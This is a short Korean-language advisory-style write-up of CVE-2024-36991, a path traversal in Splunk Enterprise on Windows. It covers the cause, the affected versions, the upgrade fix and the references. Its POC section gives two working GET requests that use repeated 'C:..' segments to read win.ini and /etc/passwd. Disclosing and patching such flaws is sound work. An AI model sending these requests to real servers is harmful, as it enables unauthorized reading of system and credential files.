CVE-2024-36991

Windows의 Splunk Enterprise에서 “/Modules/Messaging/“ 엔드포인트의 경로 탐색(Path Traversal)

Splunk Enterprise 9.2.2, 9.1.5, 9.0.10 미만 버전에서 공격자는 Windows의 Splunk Enterprise에 있는 /modules/messaging/ 엔드포인트에 대해 경로 탐색을 수행할 수 있습니다.

이 취약점은 Python의 os.path.join 함수가 경로 토큰의 드라이브가 빌드된 경로의 드라이브와 일치할 때 경로 토큰에서 드라이브 문자를 제거하기 때문에 발생합니다.

이 취약점은 Windows의 Splunk Enterprise에만 영향을 미칩니다.

POC

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

영향을 받는 버전

9.2 이상 9.2.2 미만 버전에 영향

9.1 이상 9.1.5 미만 버전에 영향

9.0 이상 9.0.10 미만 버전에 영향

해결 방법

Splunk Enterprise를 9.2.2, 9.1.5, 9.0.10 이상 버전으로 업그레이드하세요.

크레딧

Danylo Dmytriiev (DDV_UA)

참고 자료

• https://advisory.splunk.com/advisories/SVD-2024-0711
• https://www.cve.org/CVERecord?id=CVE-2024-36991